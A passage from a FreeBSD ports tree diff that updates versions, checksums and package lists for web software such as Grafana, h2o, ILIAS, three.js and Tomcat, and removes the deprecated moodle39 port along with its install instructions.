+%%DATADIR%%/public/build/UserListPage.81772552d539a19ec0c7.js.map +%%DATADIR%%/public/build/UserProfileEditPage.75c2db541537e2bddb15.js +%%DATADIR%%/public/build/UserProfileEditPage.75c2db541537e2bddb15.js.map +%%DATADIR%%/public/build/UsersListPage.d7e7fe45120d551f762e.js +%%DATADIR%%/public/build/UsersListPage.d7e7fe45120d551f762e.js.map +%%DATADIR%%/public/build/alertmanagerPlugin.58ae70ad776c1e8ed465.js +%%DATADIR%%/public/build/alertmanagerPlugin.58ae70ad776c1e8ed465.js.map +%%DATADIR%%/public/build/app.c52aa5cf53b2693cadba.js +%%DATADIR%%/public/build/app.c52aa5cf53b2693cadba.js.map +%%DATADIR%%/public/build/azureMonitorPlugin.2d195c7da61d7813d6e2.js +%%DATADIR%%/public/build/azureMonitorPlugin.2d195c7da61d7813d6e2.js.map %%DATADIR%%/public/build/brace.6f0897de11640105bd24.js %%DATADIR%%/public/build/brace.6f0897de11640105bd24.js.map -%%DATADIR%%/public/build/canvasPanel.fca118e385d7965b5c84.js -%%DATADIR%%/public/build/canvasPanel.fca118e385d7965b5c84.js.map -%%DATADIR%%/public/build/cloudMonitoringPlugin.cac6990077159f68ac20.js -%%DATADIR%%/public/build/cloudMonitoringPlugin.cac6990077159f68ac20.js.map +%%DATADIR%%/public/build/canvasPanel.03b45b4ea44c9fb25936.js +%%DATADIR%%/public/build/canvasPanel.03b45b4ea44c9fb25936.js.map +%%DATADIR%%/public/build/cloudMonitoringPlugin.9ea0941248457c166c05.js +%%DATADIR%%/public/build/cloudMonitoringPlugin.9ea0941248457c166c05.js.map %%DATADIR%%/public/build/cloudwatchPlugin.e181c0a70bca99066181.js %%DATADIR%%/public/build/cloudwatchPlugin.e181c0a70bca99066181.js.map -%%DATADIR%%/public/build/dark.d105c5f40e550e43f467.js +%%DATADIR%%/public/build/dark.7fa81d821c1b0fb4565e.js %%DATADIR%%/public/build/elasticsearchPlugin.33a3fa3a36d580167bc3.js %%DATADIR%%/public/build/elasticsearchPlugin.33a3fa3a36d580167bc3.js.map -%%DATADIR%%/public/build/explore-feature-toggle-page.efca6953f352811786a7.js -%%DATADIR%%/public/build/explore-feature-toggle-page.efca6953f352811786a7.js.map -%%DATADIR%%/public/build/explore.8c7dd6aafdad398cf6e3.js -%%DATADIR%%/public/build/explore.8c7dd6aafdad398cf6e3.js.map -%%DATADIR%%/public/build/geomapPanel.f94cf3c052e69d781633.js -%%DATADIR%%/public/build/geomapPanel.f94cf3c052e69d781633.js.map -%%DATADIR%%/public/build/grafana.dark.2336ef52b5298cb04209.css -%%DATADIR%%/public/build/grafana.light.f8ee15f0a88e16124678.css -%%DATADIR%%/public/build/grafanaPlugin.5ce403d4a091db3723c6.js -%%DATADIR%%/public/build/graphPlugin.5f78288b3f14a0c52d6f.js -%%DATADIR%%/public/build/graphPlugin.5f78288b3f14a0c52d6f.js.map -%%DATADIR%%/public/build/graphitePlugin.64a8f0960aec7565f8f4.js -%%DATADIR%%/public/build/graphitePlugin.64a8f0960aec7565f8f4.js.map -%%DATADIR%%/public/build/heatmapPanel.905bc8e93f51cd9c57b0.js -%%DATADIR%%/public/build/heatmapPanel.905bc8e93f51cd9c57b0.js.map -%%DATADIR%%/public/build/iconPanel.b60cb5df920981b5c489.js -%%DATADIR%%/public/build/iconPanel.b60cb5df920981b5c489.js.map -%%DATADIR%%/public/build/influxdbPlugin.c638d2d15c502156124e.js -%%DATADIR%%/public/build/influxdbPlugin.c638d2d15c502156124e.js.map -%%DATADIR%%/public/build/jaegerPlugin.843b0f96c48caed25ea5.js -%%DATADIR%%/public/build/light.cb3f2d450e79f330f609.js -%%DATADIR%%/public/build/loki-query-field.5d02efac08df10ad4d6b.js -%%DATADIR%%/public/build/loki-query-field.5d02efac08df10ad4d6b.js.map +%%DATADIR%%/public/build/explore-feature-toggle-page.0ab442c4e8a4fe61adaa.js +%%DATADIR%%/public/build/explore-feature-toggle-page.0ab442c4e8a4fe61adaa.js.map +%%DATADIR%%/public/build/explore.9173e5ba8d7434807609.js +%%DATADIR%%/public/build/explore.9173e5ba8d7434807609.js.map +%%DATADIR%%/public/build/geomapPanel.724ecdb3d3fc8a5fba34.js +%%DATADIR%%/public/build/geomapPanel.724ecdb3d3fc8a5fba34.js.map +%%DATADIR%%/public/build/grafana.dark.922c73a268c5f56fe5fe.css +%%DATADIR%%/public/build/grafana.light.664bea2b0c15e6740fd3.css +%%DATADIR%%/public/build/grafanaPlugin.2a2ace556af5978d6149.js +%%DATADIR%%/public/build/grafanaPlugin.2a2ace556af5978d6149.js.map +%%DATADIR%%/public/build/graphPlugin.b472c469c99d1c59b039.js +%%DATADIR%%/public/build/graphPlugin.b472c469c99d1c59b039.js.map +%%DATADIR%%/public/build/graphitePlugin.53f173ab59b821bf2d13.js +%%DATADIR%%/public/build/graphitePlugin.53f173ab59b821bf2d13.js.map +%%DATADIR%%/public/build/heatmapPanel.c215e3b6a365c8ca89ff.js +%%DATADIR%%/public/build/heatmapPanel.c215e3b6a365c8ca89ff.js.map +%%DATADIR%%/public/build/iconPanel.28dfc009488e2fe3b120.js +%%DATADIR%%/public/build/iconPanel.28dfc009488e2fe3b120.js.map +%%DATADIR%%/public/build/influxdbPlugin.dad92604861ca604507d.js +%%DATADIR%%/public/build/influxdbPlugin.dad92604861ca604507d.js.map +%%DATADIR%%/public/build/jaegerPlugin.4febd58b3862293b3e1e.js +%%DATADIR%%/public/build/jaegerPlugin.4febd58b3862293b3e1e.js.map +%%DATADIR%%/public/build/light.aebcbf63275625ca9a4c.js +%%DATADIR%%/public/build/loki-query-field.13966afcbbe7e7f9dc85.js +%%DATADIR%%/public/build/loki-query-field.13966afcbbe7e7f9dc85.js.map %%DATADIR%%/public/build/lokiPlugin.cc1d5d5bb34f38026718.js %%DATADIR%%/public/build/lokiPlugin.cc1d5d5bb34f38026718.js.map %%DATADIR%%/public/build/mixedPlugin.9c0e1398a7de20e2883c.js -%%DATADIR%%/public/build/mssqlPlugin.9bd5870fdeee6cd27fde.js -%%DATADIR%%/public/build/mssqlPlugin.9bd5870fdeee6cd27fde.js.map -%%DATADIR%%/public/build/mysqlPlugin.6c8d5d3e3a6c27a85164.js -%%DATADIR%%/public/build/mysqlPlugin.6c8d5d3e3a6c27a85164.js.map -%%DATADIR%%/public/build/opentsdbPlugin.ebf34a716bb08e023d8f.js -%%DATADIR%%/public/build/opentsdbPlugin.ebf34a716bb08e023d8f.js.map -%%DATADIR%%/public/build/parcaPlugin.97819d1d8b01c33b0c5f.js -%%DATADIR%%/public/build/parcaPlugin.97819d1d8b01c33b0c5f.js.map -%%DATADIR%%/public/build/phlarePlugin.81a91c89a5dbfa0be5dd.js -%%DATADIR%%/public/build/phlarePlugin.81a91c89a5dbfa0be5dd.js.map -%%DATADIR%%/public/build/postgresPlugin.25a179215f50b8b3faf5.js -%%DATADIR%%/public/build/postgresPlugin.25a179215f50b8b3faf5.js.map -%%DATADIR%%/public/build/prom-query-field.5bd22782f89d6584a757.js -%%DATADIR%%/public/build/prom-query-field.5bd22782f89d6584a757.js.map -%%DATADIR%%/public/build/prometheusPlugin.0a454a301d2cd536c943.js -%%DATADIR%%/public/build/prometheusPlugin.0a454a301d2cd536c943.js.map -%%DATADIR%%/public/build/react-monaco-editor.6a65055e4f6b44b19395.js -%%DATADIR%%/public/build/react-monaco-editor.6a65055e4f6b44b19395.js.map -%%DATADIR%%/public/build/runtime.0efcd86010ec1a4873a1.js -%%DATADIR%%/public/build/runtime.0efcd86010ec1a4873a1.js.map -%%DATADIR%%/public/build/scenes.d0b133270b916a511dcf.js -%%DATADIR%%/public/build/scenes.d0b133270b916a511dcf.js.map +%%DATADIR%%/public/build/mssqlPlugin.c48c79fed84fa5a79053.js +%%DATADIR%%/public/build/mssqlPlugin.c48c79fed84fa5a79053.js.map +%%DATADIR%%/public/build/mysqlPlugin.44aada404a04ff641ec9.js +%%DATADIR%%/public/build/mysqlPlugin.44aada404a04ff641ec9.js.map +%%DATADIR%%/public/build/opentsdbPlugin.9a425c7df68459d90f28.js +%%DATADIR%%/public/build/opentsdbPlugin.9a425c7df68459d90f28.js.map +%%DATADIR%%/public/build/parcaPlugin.2344a9b8dd64b2fa674e.js +%%DATADIR%%/public/build/parcaPlugin.2344a9b8dd64b2fa674e.js.map +%%DATADIR%%/public/build/phlarePlugin.efa941009cd1c6ed90b9.js +%%DATADIR%%/public/build/phlarePlugin.efa941009cd1c6ed90b9.js.map +%%DATADIR%%/public/build/postgresPlugin.3f45002817fcae2c7a10.js +%%DATADIR%%/public/build/postgresPlugin.3f45002817fcae2c7a10.js.map +%%DATADIR%%/public/build/prom-query-field.6c540fd3ca7a3c637502.js +%%DATADIR%%/public/build/prom-query-field.6c540fd3ca7a3c637502.js.map +%%DATADIR%%/public/build/prometheusPlugin.1f506f69e35af58ff9bc.js +%%DATADIR%%/public/build/prometheusPlugin.1f506f69e35af58ff9bc.js.map +%%DATADIR%%/public/build/react-monaco-editor.93c7f2c9bcc12d3cabec.js +%%DATADIR%%/public/build/react-monaco-editor.93c7f2c9bcc12d3cabec.js.map +%%DATADIR%%/public/build/runtime.2434a49086cee1380c4e.js +%%DATADIR%%/public/build/runtime.2434a49086cee1380c4e.js.map +%%DATADIR%%/public/build/scenes.059d9c1ed1753c476a4a.js +%%DATADIR%%/public/build/scenes.059d9c1ed1753c476a4a.js.map %%DATADIR%%/public/build/static/img/codicon.b797181c.ttf -%%DATADIR%%/public/build/tableOldPlugin.26a9f29feb0410ef2991.js -%%DATADIR%%/public/build/tableOldPlugin.26a9f29feb0410ef2991.js.map +%%DATADIR%%/public/build/tableOldPlugin.0600b6a74692f7aec6bb.js +%%DATADIR%%/public/build/tableOldPlugin.0600b6a74692f7aec6bb.js.map %%DATADIR%%/public/build/tempoPlugin.4f7735f5514571aa81f3.js %%DATADIR%%/public/build/tempoPlugin.4f7735f5514571aa81f3.js.map -%%DATADIR%%/public/build/testDataDSPlugin.748a737f1cc062b9f917.js -%%DATADIR%%/public/build/testDataDSPlugin.748a737f1cc062b9f917.js.map +%%DATADIR%%/public/build/testDataDSPlugin.0d4e39d4a098bf42bd02.js +%%DATADIR%%/public/build/testDataDSPlugin.0d4e39d4a098bf42bd02.js.map %%DATADIR%%/public/build/visjs-network.dfc0c1cc88ee2c6d067c.js %%DATADIR%%/public/build/visjs-network.dfc0c1cc88ee2c6d067c.js.map -%%DATADIR%%/public/build/zipkinPlugin.0edb339b3d1c096689b5.js -%%DATADIR%%/public/build/zipkinPlugin.0edb339b3d1c096689b5.js.map +%%DATADIR%%/public/build/zipkinPlugin.a73b0509ac3dcfdbc727.js +%%DATADIR%%/public/build/zipkinPlugin.a73b0509ac3dcfdbc727.js.map %%DATADIR%%/public/dashboards/default.json %%DATADIR%%/public/dashboards/home.json %%DATADIR%%/public/dashboards/scripted.js @@ -6796,15 +6866,13 @@ bin/grafana-server %%DATADIR%%/public/test/matchers/toEmitValuesWith.ts %%DATADIR%%/public/test/matchers/types.ts %%DATADIR%%/public/test/matchers/utils.ts -%%DATADIR%%/public/test/mocks/angular.ts -%%DATADIR%%/public/test/mocks/backend_srv.ts -%%DATADIR%%/public/test/mocks/common.ts %%DATADIR%%/public/test/mocks/dashboard-mock.js %%DATADIR%%/public/test/mocks/datasource_srv.ts %%DATADIR%%/public/test/mocks/getGrafanaContextMock.ts %%DATADIR%%/public/test/mocks/i18nMessages.ts %%DATADIR%%/public/test/mocks/monaco.ts %%DATADIR%%/public/test/mocks/navModel.ts +%%DATADIR%%/public/test/mocks/query.ts %%DATADIR%%/public/test/mocks/style.ts %%DATADIR%%/public/test/mocks/svg.ts %%DATADIR%%/public/test/mocks/workers.ts diff --git a/www/h2o-devel/Makefile b/www/h2o-devel/Makefile index 6439dca4eeb..15a9a7505ac 100644 --- a/www/h2o-devel/Makefile +++ b/www/h2o-devel/Makefile @@ -1,6 +1,6 @@ PORTNAME= h2o DISTVERSIONPREFIX= v -DISTVERSION= 2.3.0-dev.20220519 +DISTVERSION= 2.3.0-dev.20230427 CATEGORIES= www PKGNAMESUFFIX= -devel @@ -15,13 +15,14 @@ BROKEN_armv6= fails to compile: asm_arm.inc:139:36: '.syntax divided' arm assem BROKEN_armv7= fails to compile: asm_arm.inc:139:36: '.syntax divided' arm assembly not supported BROKEN_FreeBSD_12_powerpc64= fails to link on powerpc64 elfv1: unrecognized option '-Wl,-rpath=/usr/local/lib/gcc6' +BUILD_DEPENDS= rubygem-rake>=0:devel/rubygem-rake LIB_DEPENDS= libuv.so:devel/libuv USES= cmake:noninja compiler:c11 cpe perl5 shebangfix ssl pkgconfig CPE_VENDOR= dena USE_GITHUB= yes USE_LDCONFIG= yes -GH_TAGNAME= cf59e67 +GH_TAGNAME= f010336 CONFLICTS= h2o SHEBANG_FILES= share/h2o/start_server diff --git a/www/h2o-devel/distinfo b/www/h2o-devel/distinfo index 997e4422741..d915bed709d 100644 --- a/www/h2o-devel/distinfo +++ b/www/h2o-devel/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1653328775 -SHA256 (h2o-h2o-v2.3.0-dev.20220519-cf59e67_GH0.tar.gz) = 04c63ecb997441bfee036dbb1ab75562f4b6ef38b2aab3ada2cba7d029208eec -SIZE (h2o-h2o-v2.3.0-dev.20220519-cf59e67_GH0.tar.gz) = 30128232 +TIMESTAMP = 1682863965 +SHA256 (h2o-h2o-v2.3.0-dev.20230427-f010336_GH0.tar.gz) = d8668a6687340e8af56ce997fd36687ff4c41d86d8d195eb6dff8b46e746b3ff +SIZE (h2o-h2o-v2.3.0-dev.20230427-f010336_GH0.tar.gz) = 30505376 diff --git a/www/h2o-devel/files/patch-deps_mruby_Rakefile b/www/h2o-devel/files/patch-deps_mruby_Rakefile deleted file mode 100644 index 385ba00b328..00000000000 --- a/www/h2o-devel/files/patch-deps_mruby_Rakefile +++ /dev/null @@ -1,16 +0,0 @@ ---- deps/mruby/Rakefile.orig 2022-04-27 17:08:45 UTC -+++ deps/mruby/Rakefile -@@ -33,10 +33,9 @@ def install_D(src, dst) - load "#{MRUBY_ROOT}/tasks/gitlab.rake" - - def install_D(src, dst) -- opts = { :verbose => $verbose } -- FileUtils.rm_f dst, opts -- FileUtils.mkdir_p File.dirname(dst), opts -- FileUtils.cp src, dst, opts -+ FileUtils.rm_f dst, verbose: $verbose -+ FileUtils.mkdir_p File.dirname(dst), verbose: $verbose -+ FileUtils.cp src, dst, verbose: $verbose - end - - ############################## diff --git a/www/igal2/Makefile b/www/igal2/Makefile index ea7237e1f45..10b72ae1e52 100644 --- a/www/igal2/Makefile +++ b/www/igal2/Makefile @@ -1,6 +1,6 @@ PORTNAME= igal2 PORTVERSION= 2.2 -PORTREVISION= 3 +PORTREVISION= 4 CATEGORIES= www graphics MASTER_SITES= http://igal.trexler.at/ diff --git a/www/ilias/Makefile b/www/ilias/Makefile index ade810ecdc4..e116703d5ab 100644 --- a/www/ilias/Makefile +++ b/www/ilias/Makefile @@ -1,6 +1,7 @@ PORTNAME= ilias DISTVERSIONPREFIX= v -DISTVERSION= 8.0 +DISTVERSION= 8.1 +PORTREVISION= 1 CATEGORIES= www education PKGNAMEPREFIX= ${PHP_PKGNAMEPREFIX} diff --git a/www/ilias/distinfo b/www/ilias/distinfo index 1d4446340da..c2490b329bf 100644 --- a/www/ilias/distinfo +++ b/www/ilias/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1680316135 -SHA256 (ILIAS-eLearning-ILIAS-v8.0_GH0.tar.gz) = 91bfa57e8eacc73b864a567af716317ff77e806f2cb58c9c90cc08d4e7ef4402 -SIZE (ILIAS-eLearning-ILIAS-v8.0_GH0.tar.gz) = 176515783 +TIMESTAMP = 1682667330 +SHA256 (ILIAS-eLearning-ILIAS-v8.1_GH0.tar.gz) = f56c187b9384f68545b363050d270319fc3c24bc412c09551e62357ec70d797d +SIZE (ILIAS-eLearning-ILIAS-v8.1_GH0.tar.gz) = 176559274 diff --git a/www/moodle39/Makefile b/www/moodle39/Makefile deleted file mode 100644 index 5e2c7b8e48f..00000000000 --- a/www/moodle39/Makefile +++ /dev/null @@ -1,64 +0,0 @@ -PORTNAME= moodle -PORTVERSION= 3.9.21 -CATEGORIES= www education -MASTER_SITES= SF/moodle/Moodle/stable39/ -PKGNAMESUFFIX= ${PKGORIGIN:T:S/moodle//}${PHP_PKGNAMESUFFIX} - -MAINTAINER= wen@FreeBSD.org -COMMENT= Course management system based on social constructionism -WWW= https://www.moodle.org/ - -LICENSE= GPLv3 - -DEPRECATED= Requires php74 which has been removed from the tree -EXPIRATION_DATE= 2023-04-30 - -CONFLICTS= moodle311-3.11.[0-9]* moodle40-4.0.[0-9]* moodle41-4.1.[0-9]* \ - moodle42-4.2 - -USES= cpe php:flavors tar:tgz -USE_PHP= ctype curl dom fileinfo filter gd iconv intl mbstring \ - opcache session simplexml soap tokenizer \ - xml xmlreader xmlrpc zip zlib -IGNORE_WITH_PHP= 81 82 - -WRKSRC= ${WRKDIR}/moodle - -OPTIONS_SINGLE= BACKEND -OPTIONS_SINGLE_BACKEND= MYSQL PGSQL -OPTIONS_DEFINE= LDAP -OPTIONS_DEFAULT= MYSQL - -MYSQL_USES= mysql -MYSQL_USE= php=mysqli -PGSQL_USE= php=pgsql -LDAP_USE= php=ldap - -NO_BUILD= yes -PLIST= ${WRKDIR}/plist -SUB_FILES= pkg-message -SUB_LIST= MOODLEDIR=${MOODLEDIR} \ - MOODLEDATADIR=${MOODLEDATADIR} - -MOODLEDIR?= www/moodle -MOODLEDATADIR?= moodledata - -pre-install: - @${ECHO_CMD} "@owner ${WWWOWN}" >> ${PLIST} - @${ECHO_CMD} "@group ${WWWGRP}" >> ${PLIST} - @${ECHO_CMD} "@mode 755" >> ${PLIST} - @${ECHO} @dir ${MOODLEDATADIR} >> ${PLIST} - @${ECHO_CMD} "@mode" >> ${PLIST} - @${ECHO_CMD} "@group" >> ${PLIST} - @${ECHO_CMD} "@owner" >> ${PLIST} - -# Here for safety I do not set moodle diretory 0755 permission -# It require user write config.php manually then. - @${FIND} -s -d ${WRKSRC} -type f | ${SED} "s?${WRKSRC}?${MOODLEDIR}?g" >>${PLIST} - @${FIND} -s -d ${WRKSRC} -type d | ${SED} "s?${WRKSRC}?@dir ${MOODLEDIR}?g" >> ${PLIST} - -do-install: - @cd ${WRKSRC} && ${COPYTREE_SHARE} . ${STAGEDIR}${PREFIX}/${MOODLEDIR} - @${INSTALL} -d ${STAGEDIR}${PREFIX}/${MOODLEDATADIR} - -.include diff --git a/www/moodle39/distinfo b/www/moodle39/distinfo deleted file mode 100644 index 613fe838805..00000000000 --- a/www/moodle39/distinfo +++ /dev/null @@ -1,3 +0,0 @@ -TIMESTAMP = 1682287909 -SHA256 (moodle-3.9.21.tgz) = b23bc5f5a22b5eb06da0ca55c60ed28744847910e1dc0ea574dc011509bfb8d5 -SIZE (moodle-3.9.21.tgz) = 56787669 diff --git a/www/moodle39/files/pkg-message.in b/www/moodle39/files/pkg-message.in deleted file mode 100644 index cbacf4046c5..00000000000 --- a/www/moodle39/files/pkg-message.in +++ /dev/null @@ -1,59 +0,0 @@ -[ -{ type: install - message: < - AllowOverride None - Require all granted - - -3) Visit your Moodle site with a browser (i.e., - http://your.server.com/moodle/), and you should - be taken to the install.php script, which will lead - you through creating a config.php file and then - setting up Moodle, creating an admin account, etc. - - At one step, you will get a message saying that the - installer script was not able to automatically create - the config.php file. Just download it and copy it to - %%PREFIX%%/%%MOODLEDIR%%/config.php. Beware that it - will contain the database password in cleartext, so - set up whatever file permissions you deem more adequate. - For instance, user=root, group=www, mask=640. - -4) Set up a cron task to invoke the file admin/cron.php - every five minutes or so. For instance: - */5 * * * * fetch http://your.server.com/moodle/admin/cron.php - -For more information, see the INSTALL DOCUMENTATION: - - http://docs.moodle.org/en/Installing_Moodle - -It may be worth reading the installation docs even if Moodle seems -to be working at first, to ensure your PHP settings and database -configuration will allow Moodle to operate properly. -EOM -} -{ type: upgrade - message: < + +.if ${OPSYS} == FreeBSD && ${OSVERSION} >= 1400079 +CPPFLAGS+= -Wno-error=int-conversion +.endif + post-patch: @${GREP} -rlF '/etc/sogo' ${WRKSRC} \ | ${XARGS} ${REINPLACE_CMD} 's#/etc/sogo#${PREFIX}/etc/sogo#g' @@ -81,4 +87,4 @@ post-install: ${INSTALL_DATA} ${FILESDIR}/cron-ealarms-notify.sample ${STAGEDIR}${PREFIX}/GNUstep/Local/Tools/Admin/ ${INSTALL_DATA} ${FILESDIR}/cron-expire-autoreply.sample ${STAGEDIR}${PREFIX}/GNUstep/Local/Tools/Admin/ -.include +.include diff --git a/www/sogo/pkg-plist b/www/sogo/pkg-plist index ed5c9bd82c7..569eee6543d 100644 --- a/www/sogo/pkg-plist +++ b/www/sogo/pkg-plist @@ -2186,8 +2186,6 @@ GNUstep/Local/Library/WOxElemBuilders-4.9/SOGoElements.wox/Resources/Info-gnuste GNUstep/Local/Library/WOxElemBuilders-4.9/SOGoElements.wox/SOGoElements GNUstep/Local/Library/WOxElemBuilders-4.9/SOGoElements.wox/bundle-info.plist GNUstep/Local/Library/WOxElemBuilders-4.9/SOGoElements.wox/stamp.make -GNUstep/Local/Tools/Admin/cron-ealarms-notify.sample -GNUstep/Local/Tools/Admin/cron-expire-autoreply.sample GNUstep/Local/Tools/Admin/sogo-ealarms-notify GNUstep/Local/Tools/Admin/sogo-slapd-sockd GNUstep/Local/Tools/Admin/sogo-tool diff --git a/www/squid-devel/Makefile b/www/squid-devel/Makefile index 45b03134502..feaadef1638 100644 --- a/www/squid-devel/Makefile +++ b/www/squid-devel/Makefile @@ -27,7 +27,8 @@ LICENSE= GPLv2 LICENSE_FILE= ${WRKSRC}/COPYING USES= compiler:c++11-lib cpe perl5 shebangfix tar:xz - +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= no matching function for call to 'CRYPTO_get_ex_new_index' CONFLICTS= squid3-* squid-4.* CPE_VENDOR= squid-cache SHEBANG_FILES= scripts/*.pl contrib/*.pl tools/*.pl diff --git a/www/threejs/Makefile b/www/threejs/Makefile index 95d1042e0dc..d38171a9147 100644 --- a/www/threejs/Makefile +++ b/www/threejs/Makefile @@ -1,5 +1,5 @@ PORTNAME= three.js -PORTVERSION= 151 +PORTVERSION= 152 DISTVERSIONPREFIX= r CATEGORIES= www diff --git a/www/threejs/distinfo b/www/threejs/distinfo index 31b92c53d8e..ed89fc2d3ce 100644 --- a/www/threejs/distinfo +++ b/www/threejs/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1680367780 -SHA256 (mrdoob-three.js-r151_GH0.tar.gz) = 45cbd1720fbbfa9b79190c1fe379f13d42957c50a85d8f97b151b1dae77b51af -SIZE (mrdoob-three.js-r151_GH0.tar.gz) = 348905598 +TIMESTAMP = 1682683053 +SHA256 (mrdoob-three.js-r152_GH0.tar.gz) = c058afbda7a206738b168ad02d83501ffdd390540f14742f3ea0757789ccf3b6 +SIZE (mrdoob-three.js-r152_GH0.tar.gz) = 348709082 diff --git a/www/tomcat-devel/Makefile b/www/tomcat-devel/Makefile index dc35824847e..40e61211327 100644 --- a/www/tomcat-devel/Makefile +++ b/www/tomcat-devel/Makefile @@ -1,5 +1,5 @@ PORTNAME= tomcat -DISTVERSION= 11.0.0-M1 +DISTVERSION= 11.0.0-M5 CATEGORIES= www java MASTER_SITES= APACHE/${PORTNAME}/${PORTNAME}-${DISTVERSION:C/([0-9]+)(.*)/\1/}/v${DISTVERSION}/bin PKGNAMESUFFIX= -devel @@ -16,7 +16,7 @@ RUN_DEPENDS= jsvc:devel/apache-commons-daemon USES= cpe CPE_VENDOR= apache USE_JAVA= yes -JAVA_VERSION= 11+ +JAVA_VERSION= 17+ USE_RC_SUBR= ${PKGBASE:C/-/_/} NO_ARCH= yes diff --git a/www/tomcat-devel/distinfo b/www/tomcat-devel/distinfo index 9f35b3cb4ac..df5b7b04d41 100644 --- a/www/tomcat-devel/distinfo +++ b/www/tomcat-devel/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1670264590 -SHA256 (apache-tomcat-11.0.0-M1.tar.gz) = ab252ed0495e4f7e85b987afbbec37834ab9718f2428026e7fd2f8be90f1932e -SIZE (apache-tomcat-11.0.0-M1.tar.gz) = 12064343 +TIMESTAMP = 1681898630 +SHA256 (apache-tomcat-11.0.0-M5.tar.gz) = 3f37ad7e8ad3bbba66316548377b23d16e4ada273c08d56c55e1b67c2b54de32 +SIZE (apache-tomcat-11.0.0-M5.tar.gz) = 11995338 diff --git a/www/tomcat-devel/pkg-plist b/www/tomcat-devel/pkg-plist index e146ddc7133..faf5a315567 100644 --- a/www/tomcat-devel/pkg-plist +++ b/www/tomcat-devel/pkg-plist @@ -27,9 +27,9 @@ %%T%%/lib/catalina-storeconfig.jar %%T%%/lib/catalina-tribes.jar %%T%%/lib/catalina.jar -%%T%%/lib/ecj-4.25.jar +%%T%%/lib/ecj-4.27.jar %%T%%/lib/el-api.jar -%%T%%/lib/jakartaee-migration-1.0.5-shaded.jar +%%T%%/lib/jakartaee-migration-1.0.6-shaded.jar %%T%%/lib/jasper-el.jar %%T%%/lib/jasper.jar %%T%%/lib/jaspic-api.jar @@ -63,7 +63,6 @@ @dir %%T%%/temp @dir %%T%%/webapps @dir %%T%%/work -@sample %%T%%/conf/catalina.policy.sample @sample %%T%%/conf/catalina.properties.sample @sample %%T%%/conf/context.xml.sample @sample %%T%%/conf/jaspic-providers.xml.sample @@ -75,8 +74,10 @@ @sample %%T%%/conf/web.xml.sample %%T%%/temp/safeToDelete.tmp %%DOCS%%%%T%%/webapps/docs/BUILDING.txt +%%DOCS%%%%T%%/webapps/docs/META-INF/context.xml %%DOCS%%%%T%%/webapps/docs/RELEASE-NOTES.txt %%DOCS%%%%T%%/webapps/docs/RUNNING.txt +%%DOCS%%%%T%%/webapps/docs/WEB-INF/jsp/403.jsp %%DOCS%%%%T%%/webapps/docs/WEB-INF/web.xml %%DOCS%%%%T%%/webapps/docs/aio.html %%DOCS%%%%T%%/webapps/docs/api/index.html @@ -197,7 +198,6 @@ %%DOCS%%%%T%%/webapps/docs/realm-howto.html %%DOCS%%%%T%%/webapps/docs/rewrite.html %%DOCS%%%%T%%/webapps/docs/security-howto.html -%%DOCS%%%%T%%/webapps/docs/security-manager-howto.html %%DOCS%%%%T%%/webapps/docs/servletapi/index.html %%DOCS%%%%T%%/webapps/docs/setup.html %%DOCS%%%%T%%/webapps/docs/ssi-howto.html @@ -398,6 +398,8 @@ %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/classes/websocket/snake/SnakeTimer$1.class %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/classes/websocket/snake/SnakeTimer.class %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/classes/websocket/snake/SnakeTimer.java +%%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/403.jsp +%%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/403.jsp.html %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/debug-taglib.tld %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/example-taglib.tld %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/jsp2-example-taglib.tld diff --git a/www/tomcat101/Makefile b/www/tomcat101/Makefile index e7b742b47bf..a7916aa27c0 100644 --- a/www/tomcat101/Makefile +++ b/www/tomcat101/Makefile @@ -1,5 +1,5 @@ PORTNAME= tomcat -DISTVERSION= 10.1.4 +DISTVERSION= 10.1.8 CATEGORIES= www java MASTER_SITES= APACHE/${PORTNAME}/${PORTNAME}-${DISTVERSION:C/([0-9]+)(.*)/\1/}/v${DISTVERSION}/bin PKGNAMESUFFIX= 101 diff --git a/www/tomcat101/distinfo b/www/tomcat101/distinfo index d6f09fff808..9484df4773f 100644 --- a/www/tomcat101/distinfo +++ b/www/tomcat101/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1670597201 -SHA256 (apache-tomcat-10.1.4.tar.gz) = 95e68c8663187aa62de9b3e6869b2835a61975a38b64949d7c06bd64aef7f17f -SIZE (apache-tomcat-10.1.4.tar.gz) = 12119820 +TIMESTAMP = 1681981640 +SHA256 (apache-tomcat-10.1.8.tar.gz) = 97a9cafe80af89ccf1a1f4ecd9c658ceca5fd6ac428365e8b45f614d15b5bda6 +SIZE (apache-tomcat-10.1.8.tar.gz) = 12088035 diff --git a/www/tomcat101/pkg-plist b/www/tomcat101/pkg-plist index 3f963ce7650..11353267513 100644 --- a/www/tomcat101/pkg-plist +++ b/www/tomcat101/pkg-plist @@ -27,7 +27,7 @@ %%T%%/lib/catalina-storeconfig.jar %%T%%/lib/catalina-tribes.jar %%T%%/lib/catalina.jar -%%T%%/lib/ecj-4.25.jar +%%T%%/lib/ecj-4.27.jar %%T%%/lib/el-api.jar %%T%%/lib/jakartaee-migration-1.0.6-shaded.jar %%T%%/lib/jasper-el.jar @@ -77,6 +77,8 @@ %%DOCS%%%%T%%/webapps/docs/BUILDING.txt %%DOCS%%%%T%%/webapps/docs/RELEASE-NOTES.txt %%DOCS%%%%T%%/webapps/docs/RUNNING.txt +%%DOCS%%%%T%%/webapps/docs/META-INF/context.xml +%%DOCS%%%%T%%/webapps/docs/WEB-INF/jsp/403.jsp %%DOCS%%%%T%%/webapps/docs/WEB-INF/web.xml %%DOCS%%%%T%%/webapps/docs/aio.html %%DOCS%%%%T%%/webapps/docs/api/index.html @@ -398,6 +400,8 @@ %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/classes/websocket/snake/SnakeTimer$1.class %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/classes/websocket/snake/SnakeTimer.class 